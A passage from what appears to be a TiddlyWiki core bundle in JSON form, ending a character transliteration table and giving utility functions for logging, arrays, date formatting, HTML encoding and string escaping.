\":\"l\",\n\t\"ḻ\":\"l\",\n\t\"ŀ\":\"l\",\n\t\"ɫ\":\"l\",\n\t\"ᶅ\":\"l\",\n\t\"ɭ\":\"l\",\n\t\"ł\":\"l\",\n\t\"lj\":\"lj\",\n\t\"ſ\":\"s\",\n\t\"ẜ\":\"s\",\n\t\"ẛ\":\"s\",\n\t\"ẝ\":\"s\",\n\t\"ḿ\":\"m\",\n\t\"ṁ\":\"m\",\n\t\"ṃ\":\"m\",\n\t\"ɱ\":\"m\",\n\t\"ᵯ\":\"m\",\n\t\"ᶆ\":\"m\",\n\t\"ń\":\"n\",\n\t\"ň\":\"n\",\n\t\"ņ\":\"n\",\n\t\"ṋ\":\"n\",\n\t\"ȵ\":\"n\",\n\t\"ṅ\":\"n\",\n\t\"ṇ\":\"n\",\n\t\"ǹ\":\"n\",\n\t\"ɲ\":\"n\",\n\t\"ṉ\":\"n\",\n\t\"ƞ\":\"n\",\n\t\"ᵰ\":\"n\",\n\t\"ᶇ\":\"n\",\n\t\"ɳ\":\"n\",\n\t\"ñ\":\"n\",\n\t\"nj\":\"nj\",\n\t\"ó\":\"o\",\n\t\"ŏ\":\"o\",\n\t\"ǒ\":\"o\",\n\t\"ô\":\"o\",\n\t\"ố\":\"o\",\n\t\"ộ\":\"o\",\n\t\"ồ\":\"o\",\n\t\"ổ\":\"o\",\n\t\"ỗ\":\"o\",\n\t\"ö\":\"o\",\n\t\"ȫ\":\"o\",\n\t\"ȯ\":\"o\",\n\t\"ȱ\":\"o\",\n\t\"ọ\":\"o\",\n\t\"ő\":\"o\",\n\t\"ȍ\":\"o\",\n\t\"ò\":\"o\",\n\t\"ỏ\":\"o\",\n\t\"ơ\":\"o\",\n\t\"ớ\":\"o\",\n\t\"ợ\":\"o\",\n\t\"ờ\":\"o\",\n\t\"ở\":\"o\",\n\t\"ỡ\":\"o\",\n\t\"ȏ\":\"o\",\n\t\"ꝋ\":\"o\",\n\t\"ꝍ\":\"o\",\n\t\"ⱺ\":\"o\",\n\t\"ō\":\"o\",\n\t\"ṓ\":\"o\",\n\t\"ṑ\":\"o\",\n\t\"ǫ\":\"o\",\n\t\"ǭ\":\"o\",\n\t\"ø\":\"o\",\n\t\"ǿ\":\"o\",\n\t\"õ\":\"o\",\n\t\"ṍ\":\"o\",\n\t\"ṏ\":\"o\",\n\t\"ȭ\":\"o\",\n\t\"ƣ\":\"oi\",\n\t\"ꝏ\":\"oo\",\n\t\"ɛ\":\"e\",\n\t\"ᶓ\":\"e\",\n\t\"ɔ\":\"o\",\n\t\"ᶗ\":\"o\",\n\t\"ȣ\":\"ou\",\n\t\"ṕ\":\"p\",\n\t\"ṗ\":\"p\",\n\t\"ꝓ\":\"p\",\n\t\"ƥ\":\"p\",\n\t\"ᵱ\":\"p\",\n\t\"ᶈ\":\"p\",\n\t\"ꝕ\":\"p\",\n\t\"ᵽ\":\"p\",\n\t\"ꝑ\":\"p\",\n\t\"ꝙ\":\"q\",\n\t\"ʠ\":\"q\",\n\t\"ɋ\":\"q\",\n\t\"ꝗ\":\"q\",\n\t\"ŕ\":\"r\",\n\t\"ř\":\"r\",\n\t\"ŗ\":\"r\",\n\t\"ṙ\":\"r\",\n\t\"ṛ\":\"r\",\n\t\"ṝ\":\"r\",\n\t\"ȑ\":\"r\",\n\t\"ɾ\":\"r\",\n\t\"ᵳ\":\"r\",\n\t\"ȓ\":\"r\",\n\t\"ṟ\":\"r\",\n\t\"ɼ\":\"r\",\n\t\"ᵲ\":\"r\",\n\t\"ᶉ\":\"r\",\n\t\"ɍ\":\"r\",\n\t\"ɽ\":\"r\",\n\t\"ↄ\":\"c\",\n\t\"ꜿ\":\"c\",\n\t\"ɘ\":\"e\",\n\t\"ɿ\":\"r\",\n\t\"ś\":\"s\",\n\t\"ṥ\":\"s\",\n\t\"š\":\"s\",\n\t\"ṧ\":\"s\",\n\t\"ş\":\"s\",\n\t\"ŝ\":\"s\",\n\t\"ș\":\"s\",\n\t\"ṡ\":\"s\",\n\t\"ṣ\":\"s\",\n\t\"ṩ\":\"s\",\n\t\"ʂ\":\"s\",\n\t\"ᵴ\":\"s\",\n\t\"ᶊ\":\"s\",\n\t\"ȿ\":\"s\",\n\t\"ɡ\":\"g\",\n\t\"ᴑ\":\"o\",\n\t\"ᴓ\":\"o\",\n\t\"ᴝ\":\"u\",\n\t\"ť\":\"t\",\n\t\"ţ\":\"t\",\n\t\"ṱ\":\"t\",\n\t\"ț\":\"t\",\n\t\"ȶ\":\"t\",\n\t\"ẗ\":\"t\",\n\t\"ⱦ\":\"t\",\n\t\"ṫ\":\"t\",\n\t\"ṭ\":\"t\",\n\t\"ƭ\":\"t\",\n\t\"ṯ\":\"t\",\n\t\"ᵵ\":\"t\",\n\t\"ƫ\":\"t\",\n\t\"ʈ\":\"t\",\n\t\"ŧ\":\"t\",\n\t\"ᵺ\":\"th\",\n\t\"ɐ\":\"a\",\n\t\"ᴂ\":\"ae\",\n\t\"ǝ\":\"e\",\n\t\"ᵷ\":\"g\",\n\t\"ɥ\":\"h\",\n\t\"ʮ\":\"h\",\n\t\"ʯ\":\"h\",\n\t\"ᴉ\":\"i\",\n\t\"ʞ\":\"k\",\n\t\"ꞁ\":\"l\",\n\t\"ɯ\":\"m\",\n\t\"ɰ\":\"m\",\n\t\"ᴔ\":\"oe\",\n\t\"ɹ\":\"r\",\n\t\"ɻ\":\"r\",\n\t\"ɺ\":\"r\",\n\t\"ⱹ\":\"r\",\n\t\"ʇ\":\"t\",\n\t\"ʌ\":\"v\",\n\t\"ʍ\":\"w\",\n\t\"ʎ\":\"y\",\n\t\"ꜩ\":\"tz\",\n\t\"ú\":\"u\",\n\t\"ŭ\":\"u\",\n\t\"ǔ\":\"u\",\n\t\"û\":\"u\",\n\t\"ṷ\":\"u\",\n\t\"ü\":\"u\",\n\t\"ǘ\":\"u\",\n\t\"ǚ\":\"u\",\n\t\"ǜ\":\"u\",\n\t\"ǖ\":\"u\",\n\t\"ṳ\":\"u\",\n\t\"ụ\":\"u\",\n\t\"ű\":\"u\",\n\t\"ȕ\":\"u\",\n\t\"ù\":\"u\",\n\t\"ủ\":\"u\",\n\t\"ư\":\"u\",\n\t\"ứ\":\"u\",\n\t\"ự\":\"u\",\n\t\"ừ\":\"u\",\n\t\"ử\":\"u\",\n\t\"ữ\":\"u\",\n\t\"ȗ\":\"u\",\n\t\"ū\":\"u\",\n\t\"ṻ\":\"u\",\n\t\"ų\":\"u\",\n\t\"ᶙ\":\"u\",\n\t\"ů\":\"u\",\n\t\"ũ\":\"u\",\n\t\"ṹ\":\"u\",\n\t\"ṵ\":\"u\",\n\t\"ᵫ\":\"ue\",\n\t\"ꝸ\":\"um\",\n\t\"ⱴ\":\"v\",\n\t\"ꝟ\":\"v\",\n\t\"ṿ\":\"v\",\n\t\"ʋ\":\"v\",\n\t\"ᶌ\":\"v\",\n\t\"ⱱ\":\"v\",\n\t\"ṽ\":\"v\",\n\t\"ꝡ\":\"vy\",\n\t\"ẃ\":\"w\",\n\t\"ŵ\":\"w\",\n\t\"ẅ\":\"w\",\n\t\"ẇ\":\"w\",\n\t\"ẉ\":\"w\",\n\t\"ẁ\":\"w\",\n\t\"ⱳ\":\"w\",\n\t\"ẘ\":\"w\",\n\t\"ẍ\":\"x\",\n\t\"ẋ\":\"x\",\n\t\"ᶍ\":\"x\",\n\t\"ý\":\"y\",\n\t\"ŷ\":\"y\",\n\t\"ÿ\":\"y\",\n\t\"ẏ\":\"y\",\n\t\"ỵ\":\"y\",\n\t\"ỳ\":\"y\",\n\t\"ƴ\":\"y\",\n\t\"ỷ\":\"y\",\n\t\"ỿ\":\"y\",\n\t\"ȳ\":\"y\",\n\t\"ẙ\":\"y\",\n\t\"ɏ\":\"y\",\n\t\"ỹ\":\"y\",\n\t\"ź\":\"z\",\n\t\"ž\":\"z\",\n\t\"ẑ\":\"z\",\n\t\"ʑ\":\"z\",\n\t\"ⱬ\":\"z\",\n\t\"ż\":\"z\",\n\t\"ẓ\":\"z\",\n\t\"ȥ\":\"z\",\n\t\"ẕ\":\"z\",\n\t\"ᵶ\":\"z\",\n\t\"ᶎ\":\"z\",\n\t\"ʐ\":\"z\",\n\t\"ƶ\":\"z\",\n\t\"ɀ\":\"z\",\n\t\"ff\":\"ff\",\n\t\"ffi\":\"ffi\",\n\t\"ffl\":\"ffl\",\n\t\"fi\":\"fi\",\n\t\"fl\":\"fl\",\n\t\"ij\":\"ij\",\n\t\"œ\":\"oe\",\n\t\"st\":\"st\",\n\t\"ₐ\":\"a\",\n\t\"ₑ\":\"e\",\n\t\"ᵢ\":\"i\",\n\t\"ⱼ\":\"j\",\n\t\"ₒ\":\"o\",\n\t\"ᵣ\":\"r\",\n\t\"ᵤ\":\"u\",\n\t\"ᵥ\":\"v\",\n\t\"ₓ\":\"x\",\n\t\"Ё\":\"YO\",\n\t\"Й\":\"I\",\n\t\"Ц\":\"TS\",\n\t\"У\":\"U\",\n\t\"К\":\"K\",\n\t\"Е\":\"E\",\n\t\"Н\":\"N\",\n\t\"Г\":\"G\",\n\t\"Ш\":\"SH\",\n\t\"Щ\":\"SCH\",\n\t\"З\":\"Z\",\n\t\"Х\":\"H\",\n\t\"Ъ\":\"'\",\n\t\"ё\":\"yo\",\n\t\"й\":\"i\",\n\t\"ц\":\"ts\",\n\t\"у\":\"u\",\n\t\"к\":\"k\",\n\t\"е\":\"e\",\n\t\"н\":\"n\",\n\t\"г\":\"g\",\n\t\"ш\":\"sh\",\n\t\"щ\":\"sch\",\n\t\"з\":\"z\",\n\t\"х\":\"h\",\n\t\"ъ\":\"'\",\n\t\"Ф\":\"F\",\n\t\"Ы\":\"I\",\n\t\"В\":\"V\",\n\t\"А\":\"a\",\n\t\"П\":\"P\",\n\t\"Р\":\"R\",\n\t\"О\":\"O\",\n\t\"Л\":\"L\",\n\t\"Д\":\"D\",\n\t\"Ж\":\"ZH\",\n\t\"Э\":\"E\",\n\t\"ф\":\"f\",\n\t\"ы\":\"i\",\n\t\"в\":\"v\",\n\t\"а\":\"a\",\n\t\"п\":\"p\",\n\t\"р\":\"r\",\n\t\"о\":\"o\",\n\t\"л\":\"l\",\n\t\"д\":\"d\",\n\t\"ж\":\"zh\",\n\t\"э\":\"e\",\n\t\"Я\":\"Ya\",\n\t\"Ч\":\"CH\",\n\t\"С\":\"S\",\n\t\"М\":\"M\",\n\t\"И\":\"I\",\n\t\"Т\":\"T\",\n\t\"Ь\":\"'\",\n\t\"Б\":\"B\",\n\t\"Ю\":\"YU\",\n\t\"я\":\"ya\",\n\t\"ч\":\"ch\",\n\t\"с\":\"s\",\n\t\"м\":\"m\",\n\t\"и\":\"i\",\n\t\"т\":\"t\",\n\t\"ь\":\"'\",\n\t\"б\":\"b\",\n\t\"ю\":\"yu\"\n};\n\nexports.transliterate = function(str) {\n\treturn str.replace(/[^A-Za-z0-9\\[\\] ]/g,function(ch) {\n\t\treturn exports.transliterationPairs[ch] || ch\n\t});\n};\n\nexports.transliterateToSafeASCII = function(str) {\n\treturn str.replace(/[^\\x00-\\x7F]/g,function(ch) {\n\t\treturn exports.transliterationPairs[ch] || \"\"\n\t});\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "utils"
        },
        "$:/core/modules/utils/utils.js": {
            "title": "$:/core/modules/utils/utils.js",
            "text": "/*\\\ntitle: $:/core/modules/utils/utils.js\ntype: application/javascript\nmodule-type: utils\n\nVarious static utility functions.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nDisplay a message, in colour if we're on a terminal\n*/\nexports.log = function(text,colour) {\n\tconsole.log($tw.node ? exports.terminalColour(colour) + text + exports.terminalColour() : text);\n};\n\nexports.terminalColour = function(colour) {\n\tif(!$tw.browser && $tw.node && process.stdout.isTTY) {\n\t\tif(colour) {\n\t\t\tvar code = exports.terminalColourLookup[colour];\n\t\t\tif(code) {\n\t\t\t\treturn \"\\x1b[\" + code + \"m\";\n\t\t\t}\n\t\t} else {\n\t\t\treturn \"\\x1b[0m\"; // Cancel colour\n\t\t}\n\t}\n\treturn \"\";\n};\n\nexports.terminalColourLookup = {\n\t\"black\": \"0;30\",\n\t\"red\": \"0;31\",\n\t\"green\": \"0;32\",\n\t\"brown/orange\": \"0;33\",\n\t\"blue\": \"0;34\",\n\t\"purple\": \"0;35\",\n\t\"cyan\": \"0;36\",\n\t\"light gray\": \"0;37\"\n};\n\n/*\nDisplay a warning, in colour if we're on a terminal\n*/\nexports.warning = function(text) {\n\texports.log(text,\"brown/orange\");\n};\n\n/*\nReturn the integer represented by the str (string).\nReturn the dflt (default) parameter if str is not a base-10 number.\n*/\nexports.getInt = function(str,deflt) {\n\tvar i = parseInt(str,10);\n\treturn isNaN(i) ? deflt : i;\n}\n\n/*\nRepeatedly replaces a substring within a string. Like String.prototype.replace, but without any of the default special handling of $ sequences in the replace string\n*/\nexports.replaceString = function(text,search,replace) {\n\treturn text.replace(search,function() {\n\t\treturn replace;\n\t});\n};\n\n/*\nRepeats a string\n*/\nexports.repeat = function(str,count) {\n\tvar result = \"\";\n\tfor(var t=0;t<count;t++) {\n\t\tresult += str;\n\t}\n\treturn result;\n};\n\n/*\nTrim whitespace from the start and end of a string\nThanks to Steven Levithan, http://blog.stevenlevithan.com/archives/faster-trim-javascript\n*/\nexports.trim = function(str) {\n\tif(typeof str === \"string\") {\n\t\treturn str.replace(/^\\s\\s*/, '').replace(/\\s\\s*$/, '');\n\t} else {\n\t\treturn str;\n\t}\n};\n\n/*\nFind the line break preceding a given position in a string\nReturns position immediately after that line break, or the start of the string\n*/\nexports.findPrecedingLineBreak = function(text,pos) {\n\tvar result = text.lastIndexOf(\"\\n\",pos - 1);\n\tif(result === -1) {\n\t\tresult = 0;\n\t} else {\n\t\tresult++;\n\t\tif(text.charAt(result) === \"\\r\") {\n\t\t\tresult++;\n\t\t}\n\t}\n\treturn result;\n};\n\n/*\nFind the line break following a given position in a string\n*/\nexports.findFollowingLineBreak = function(text,pos) {\n\t// Cut to just past the following line break, or to the end of the text\n\tvar result = text.indexOf(\"\\n\",pos);\n\tif(result === -1) {\n\t\tresult = text.length;\n\t} else {\n\t\tif(text.charAt(result) === \"\\r\") {\n\t\t\tresult++;\n\t\t}\n\t}\n\treturn result;\n};\n\n/*\nReturn the number of keys in an object\n*/\nexports.count = function(object) {\n\treturn Object.keys(object || {}).length;\n};\n\n/*\nCheck if an array is equal by value and by reference.\n*/\nexports.isArrayEqual = function(array1,array2) {\n\tif(array1 === array2) {\n\t\treturn true;\n\t}\n\tarray1 = array1 || [];\n\tarray2 = array2 || [];\n\tif(array1.length !== array2.length) {\n\t\treturn false;\n\t}\n\treturn array1.every(function(value,index) {\n\t\treturn value === array2[index];\n\t});\n};\n\n/*\nDetermine whether an array-item is an object-property\n*/\nexports.hopArray = function(object,array) {\n\tfor(var i=0; i<array.length; i++) {\n\t\tif($tw.utils.hop(object,array[i])) {\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n};\n\n/*\nPush entries onto an array, removing them first if they already exist in the array\n\tarray: array to modify (assumed to be free of duplicates)\n\tvalue: a single value to push or an array of values to push\n*/\nexports.pushTop = function(array,value) {\n\tvar t,p;\n\tif($tw.utils.isArray(value)) {\n\t\t// Remove any array entries that are duplicated in the new values\n\t\tif(value.length !== 0) {\n\t\t\tif(array.length !== 0) {\n\t\t\t\tif(value.length < array.length) {\n\t\t\t\t\tfor(t=0; t<value.length; t++) {\n\t\t\t\t\t\tp = array.indexOf(value[t]);\n\t\t\t\t\t\tif(p !== -1) {\n\t\t\t\t\t\t\tarray.splice(p,1);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tfor(t=array.length-1; t>=0; t--) {\n\t\t\t\t\t\tp = value.indexOf(array[t]);\n\t\t\t\t\t\tif(p !== -1) {\n\t\t\t\t\t\t\tarray.splice(t,1);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t// Push the values on top of the main array\n\t\t\tarray.push.apply(array,value);\n\t\t}\n\t} else {\n\t\tp = array.indexOf(value);\n\t\tif(p !== -1) {\n\t\t\tarray.splice(p,1);\n\t\t}\n\t\tarray.push(value);\n\t}\n\treturn array;\n};\n\n/*\nRemove entries from an array\n\tarray: array to modify\n\tvalue: a single value to remove, or an array of values to remove\n*/\nexports.removeArrayEntries = function(array,value) {\n\tvar t,p;\n\tif($tw.utils.isArray(value)) {\n\t\tfor(t=0; t<value.length; t++) {\n\t\t\tp = array.indexOf(value[t]);\n\t\t\tif(p !== -1) {\n\t\t\t\tarray.splice(p,1);\n\t\t\t}\n\t\t}\n\t} else {\n\t\tp = array.indexOf(value);\n\t\tif(p !== -1) {\n\t\t\tarray.splice(p,1);\n\t\t}\n\t}\n};\n\n/*\nCheck whether any members of a hashmap are present in another hashmap\n*/\nexports.checkDependencies = function(dependencies,changes) {\n\tvar hit = false;\n\t$tw.utils.each(changes,function(change,title) {\n\t\tif($tw.utils.hop(dependencies,title)) {\n\t\t\thit = true;\n\t\t}\n\t});\n\treturn hit;\n};\n\nexports.extend = function(object /* [, src] */) {\n\t$tw.utils.each(Array.prototype.slice.call(arguments, 1), function(source) {\n\t\tif(source) {\n\t\t\tfor(var property in source) {\n\t\t\t\tobject[property] = source[property];\n\t\t\t}\n\t\t}\n\t});\n\treturn object;\n};\n\nexports.deepCopy = function(object) {\n\tvar result,t;\n\tif($tw.utils.isArray(object)) {\n\t\t// Copy arrays\n\t\tresult = object.slice(0);\n\t} else if(typeof object === \"object\") {\n\t\tresult = {};\n\t\tfor(t in object) {\n\t\t\tif(object[t] !== undefined) {\n\t\t\t\tresult[t] = $tw.utils.deepCopy(object[t]);\n\t\t\t}\n\t\t}\n\t} else {\n\t\tresult = object;\n\t}\n\treturn result;\n};\n\nexports.extendDeepCopy = function(object,extendedProperties) {\n\tvar result = $tw.utils.deepCopy(object),t;\n\tfor(t in extendedProperties) {\n\t\tif(extendedProperties[t] !== undefined) {\n\t\t\tresult[t] = $tw.utils.deepCopy(extendedProperties[t]);\n\t\t}\n\t}\n\treturn result;\n};\n\nexports.deepFreeze = function deepFreeze(object) {\n\tvar property, key;\n\tif(object) {\n\t\tObject.freeze(object);\n\t\tfor(key in object) {\n\t\t\tproperty = object[key];\n\t\t\tif($tw.utils.hop(object,key) && (typeof property === \"object\") && !Object.isFrozen(property)) {\n\t\t\t\tdeepFreeze(property);\n\t\t\t}\n\t\t}\n\t}\n};\n\nexports.slowInSlowOut = function(t) {\n\treturn (1 - ((Math.cos(t * Math.PI) + 1) / 2));\n};\n\nexports.formatDateString = function(date,template) {\n\tvar result = \"\",\n\t\tt = template,\n\t\tmatches = [\n\t\t\t[/^0hh12/, function() {\n\t\t\t\treturn $tw.utils.pad($tw.utils.getHours12(date));\n\t\t\t}],\n\t\t\t[/^wYYYY/, function() {\n\t\t\t\treturn $tw.utils.getYearForWeekNo(date);\n\t\t\t}],\n\t\t\t[/^hh12/, function() {\n\t\t\t\treturn $tw.utils.getHours12(date);\n\t\t\t}],\n\t\t\t[/^DDth/, function() {\n\t\t\t\treturn date.getDate() + $tw.utils.getDaySuffix(date);\n\t\t\t}],\n\t\t\t[/^YYYY/, function() {\n\t\t\t\treturn date.getFullYear();\n\t\t\t}],\n\t\t\t[/^0hh/, function() {\n\t\t\t\treturn $tw.utils.pad(date.getHours());\n\t\t\t}],\n\t\t\t[/^0mm/, function() {\n\t\t\t\treturn $tw.utils.pad(date.getMinutes());\n\t\t\t}],\n\t\t\t[/^0ss/, function() {\n\t\t\t\treturn $tw.utils.pad(date.getSeconds());\n\t\t\t}],\n\t\t\t[/^0XXX/, function() {\n\t\t\t\treturn $tw.utils.pad(date.getMilliseconds());\n\t\t\t}],\n\t\t\t[/^0DD/, function() {\n\t\t\t\treturn $tw.utils.pad(date.getDate());\n\t\t\t}],\n\t\t\t[/^0MM/, function() {\n\t\t\t\treturn $tw.utils.pad(date.getMonth()+1);\n\t\t\t}],\n\t\t\t[/^0WW/, function() {\n\t\t\t\treturn $tw.utils.pad($tw.utils.getWeek(date));\n\t\t\t}],\n\t\t\t[/^ddd/, function() {\n\t\t\t\treturn $tw.language.getString(\"Date/Short/Day/\" + date.getDay());\n\t\t\t}],\n\t\t\t[/^mmm/, function() {\n\t\t\t\treturn $tw.language.getString(\"Date/Short/Month/\" + (date.getMonth() + 1));\n\t\t\t}],\n\t\t\t[/^DDD/, function() {\n\t\t\t\treturn $tw.language.getString(\"Date/Long/Day/\" + date.getDay());\n\t\t\t}],\n\t\t\t[/^MMM/, function() {\n\t\t\t\treturn $tw.language.getString(\"Date/Long/Month/\" + (date.getMonth() + 1));\n\t\t\t}],\n\t\t\t[/^TZD/, function() {\n\t\t\t\tvar tz = date.getTimezoneOffset(),\n\t\t\t\tatz = Math.abs(tz);\n\t\t\t\treturn (tz < 0 ? '+' : '-') + $tw.utils.pad(Math.floor(atz / 60)) + ':' + $tw.utils.pad(atz % 60);\n\t\t\t}],\n\t\t\t[/^wYY/, function() {\n\t\t\t\treturn $tw.utils.pad($tw.utils.getYearForWeekNo(date) - 2000);\n\t\t\t}],\n\t\t\t[/^[ap]m/, function() {\n\t\t\t\treturn $tw.utils.getAmPm(date).toLowerCase();\n\t\t\t}],\n\t\t\t[/^hh/, function() {\n\t\t\t\treturn date.getHours();\n\t\t\t}],\n\t\t\t[/^mm/, function() {\n\t\t\t\treturn date.getMinutes();\n\t\t\t}],\n\t\t\t[/^ss/, function() {\n\t\t\t\treturn date.getSeconds();\n\t\t\t}],\n\t\t\t[/^XXX/, function() {\n\t\t\t\treturn date.getMilliseconds();\n\t\t\t}],\n\t\t\t[/^[AP]M/, function() {\n\t\t\t\treturn $tw.utils.getAmPm(date).toUpperCase();\n\t\t\t}],\n\t\t\t[/^DD/, function() {\n\t\t\t\treturn date.getDate();\n\t\t\t}],\n\t\t\t[/^MM/, function() {\n\t\t\t\treturn date.getMonth() + 1;\n\t\t\t}],\n\t\t\t[/^WW/, function() {\n\t\t\t\treturn $tw.utils.getWeek(date);\n\t\t\t}],\n\t\t\t[/^YY/, function() {\n\t\t\t\treturn $tw.utils.pad(date.getFullYear() - 2000);\n\t\t\t}]\n\t\t];\n\t// If the user wants everything in UTC, shift the datestamp\n\t// Optimize for format string that essentially means\n\t// 'return raw UTC (tiddlywiki style) date string.'\n\tif(t.indexOf(\"[UTC]\") == 0 ) {\n\t\tif(t == \"[UTC]YYYY0MM0DD0hh0mm0ssXXX\")\n\t\t\treturn $tw.utils.stringifyDate(new Date());\n\t\tvar offset = date.getTimezoneOffset() ; // in minutes\n\t\tdate = new Date(date.getTime()+offset*60*1000) ;\n\t\tt = t.substr(5) ;\n\t}\n\twhile(t.length){\n\t\tvar matchString = \"\";\n\t\t$tw.utils.each(matches, function(m) {\n\t\t\tvar match = m[0].exec(t);\n\t\t\tif(match) {\n\t\t\t\tmatchString = m[1].call();\n\t\t\t\tt = t.substr(match[0].length);\n\t\t\t\treturn false;\n\t\t\t}\n\t\t});\n\t\tif(matchString) {\n\t\t\tresult += matchString;\n\t\t} else {\n\t\t\tresult += t.charAt(0);\n\t\t\tt = t.substr(1);\n\t\t}\n\t}\n\tresult = result.replace(/\\\\(.)/g,\"$1\");\n\treturn result;\n};\n\nexports.getAmPm = function(date) {\n\treturn $tw.language.getString(\"Date/Period/\" + (date.getHours() >= 12 ? \"pm\" : \"am\"));\n};\n\nexports.getDaySuffix = function(date) {\n\treturn $tw.language.getString(\"Date/DaySuffix/\" + date.getDate());\n};\n\nexports.getWeek = function(date) {\n\tvar dt = new Date(date.getTime());\n\tvar d = dt.getDay();\n\tif(d === 0) {\n\t\td = 7; // JavaScript Sun=0, ISO Sun=7\n\t}\n\tdt.setTime(dt.getTime() + (4 - d) * 86400000);// shift day to Thurs of same week to calculate weekNo\n\tvar x = new Date(dt.getFullYear(),0,1);\n\tvar n = Math.floor((dt.getTime() - x.getTime()) / 86400000);\n\treturn Math.floor(n / 7) + 1;\n};\n\nexports.getYearForWeekNo = function(date) {\n\tvar dt = new Date(date.getTime());\n\tvar d = dt.getDay();\n\tif(d === 0) {\n\t\td = 7; // JavaScript Sun=0, ISO Sun=7\n\t}\n\tdt.setTime(dt.getTime() + (4 - d) * 86400000);// shift day to Thurs of same week\n\treturn dt.getFullYear();\n};\n\nexports.getHours12 = function(date) {\n\tvar h = date.getHours();\n\treturn h > 12 ? h-12 : ( h > 0 ? h : 12 );\n};\n\n/*\nConvert a date delta in milliseconds into a string representation of \"23 seconds ago\", \"27 minutes ago\" etc.\n\tdelta: delta in milliseconds\nReturns an object with these members:\n\tdescription: string describing the delta period\n\tupdatePeriod: time in millisecond until the string will be inaccurate\n*/\nexports.getRelativeDate = function(delta) {\n\tvar futurep = false;\n\tif(delta < 0) {\n\t\tdelta = -1 * delta;\n\t\tfuturep = true;\n\t}\n\tvar units = [\n\t\t{name: \"Years\",   duration:      365 * 24 * 60 * 60 * 1000},\n\t\t{name: \"Months\",  duration: (365/12) * 24 * 60 * 60 * 1000},\n\t\t{name: \"Days\",    duration:            24 * 60 * 60 * 1000},\n\t\t{name: \"Hours\",   duration:                 60 * 60 * 1000},\n\t\t{name: \"Minutes\", duration:                      60 * 1000},\n\t\t{name: \"Seconds\", duration:                           1000}\n\t];\n\tfor(var t=0; t<units.length; t++) {\n\t\tvar result = Math.floor(delta / units[t].duration);\n\t\tif(result >= 2) {\n\t\t\treturn {\n\t\t\t\tdelta: delta,\n\t\t\t\tdescription: $tw.language.getString(\n\t\t\t\t\t\"RelativeDate/\" + (futurep ? \"Future\" : \"Past\") + \"/\" + units[t].name,\n\t\t\t\t\t{variables:\n\t\t\t\t\t\t{period: result.toString()}\n\t\t\t\t\t}\n\t\t\t\t),\n\t\t\t\tupdatePeriod: units[t].duration\n\t\t\t};\n\t\t}\n\t}\n\treturn {\n\t\tdelta: delta,\n\t\tdescription: $tw.language.getString(\n\t\t\t\"RelativeDate/\" + (futurep ? \"Future\" : \"Past\") + \"/Second\",\n\t\t\t{variables:\n\t\t\t\t{period: \"1\"}\n\t\t\t}\n\t\t),\n\t\tupdatePeriod: 1000\n\t};\n};\n\n// Convert & to \"&amp;\", < to \"&lt;\", > to \"&gt;\", \" to \"&quot;\"\nexports.htmlEncode = function(s) {\n\tif(s) {\n\t\treturn s.toString().replace(/&/mg,\"&amp;\").replace(/</mg,\"&lt;\").replace(/>/mg,\"&gt;\").replace(/\\\"/mg,\"&quot;\");\n\t} else {\n\t\treturn \"\";\n\t}\n};\n\n// Converts all HTML entities to their character equivalents\nexports.entityDecode = function(s) {\n\tvar converter = String.fromCodePoint || String.fromCharCode,\n\t\te = s.substr(1,s.length-2), // Strip the & and the ;\n\t\tc;\n\tif(e.charAt(0) === \"#\") {\n\t\tif(e.charAt(1) === \"x\" || e.charAt(1) === \"X\") {\n\t\t\tc = parseInt(e.substr(2),16);\n\t\t} else {\n\t\t\tc = parseInt(e.substr(1),10);\n\t\t}\n\t\tif(isNaN(c)) {\n\t\t\treturn s;\n\t\t} else {\n\t\t\treturn converter(c);\n\t\t}\n\t} else {\n\t\tc = $tw.config.htmlEntities[e];\n\t\tif(c) {\n\t\t\treturn converter(c);\n\t\t} else {\n\t\t\treturn s; // Couldn't convert it as an entity, just return it raw\n\t\t}\n\t}\n};\n\nexports.unescapeLineBreaks = function(s) {\n\treturn s.replace(/\\\\n/mg,\"\\n\").replace(/\\\\b/mg,\" \").replace(/\\\\s/mg,\"\\\\\").replace(/\\r/mg,\"\");\n};\n\n/*\n * Returns an escape sequence for given character. Uses \\x for characters <=\n * 0xFF to save space, \\u for the rest.\n *\n * The code needs to be in sync with th code template in the compilation\n * function for \"action\" nodes.\n */\n// Copied from peg.js, thanks to David Majda\nexports.escape = function(ch) {\n\tvar charCode = ch.charCodeAt(0);\n\tif(charCode <= 0xFF) {\n\t\treturn '\\\\x' + $tw.utils.pad(charCode.toString(16).toUpperCase());\n\t} else {\n\t\treturn '\\\\u' + $tw.utils.pad(charCode.toString(16).toUpperCase(),4);\n\t}\n};\n\n// Turns a string into a legal JavaScript string\n// Copied from peg.js, thanks to David Majda\nexports.stringify = function(s) {\n\t/*\n\t* ECMA-262, 5th ed., 7.8.4: All characters may appear literally in a string\n\t* literal except for the closing quote character, backslash, carriage return,\n\t* line separator, paragraph separator, and line feed. Any character may\n\t* appear in the form of an escape sequence.\n\t*\n\t* For portability, we also escape all non-ASCII characters.\n\t*/\n\treturn (s || \"\")\n\t\t.replace(/\\\\/g, '\\\\\\\\')            // backslash\n\t\t.replace(/\"/g, '\\\\\"')              // double quote character\n\t\t.replace(/'/g, \"\\\\'\")              // single quote character\n\t\t.replace(/\\r/g, '\\\\r')             // carriage return\n\t\t.replace(/\\n/g, '\\\\n')             // line feed\n\t\t.replace(/[\\x00-\\x1f\\x80-\\uFFFF]/g, exports.escape); // non-ASCII characters\n};\n\n// Turns a string into a legal JSON string\n// Derived from peg.js, thanks to David Majda\nexports.jsonStringify = function(s) {\n\t// See http://www.json.org/\n\treturn (s || \"\")\n\t\t.replace(/\\\\/g, '\\\\\\\\')            // backslash\n\t\t.replace(/\"/g, '\\\\\"')              // double quote character\n\t\t.replace(/\\r/g, '\\\\r')             // carriage return\n\t\t.replace(/\\n/g, '\\\\n')             // line feed\n\t\t.replace(/\\x08/g, '\\\\b')           // backspace\n\t\t.replace(/\\x0c/g, '\\\\f')           // formfeed\n\t\t.replace(/\\t/g, '\\\\t')             // tab\n\t\t.replace(/[\\x00-\\x1f\\x80-\\uFFFF]/g,function(s) {\n\t\t\treturn '\\\\u' + 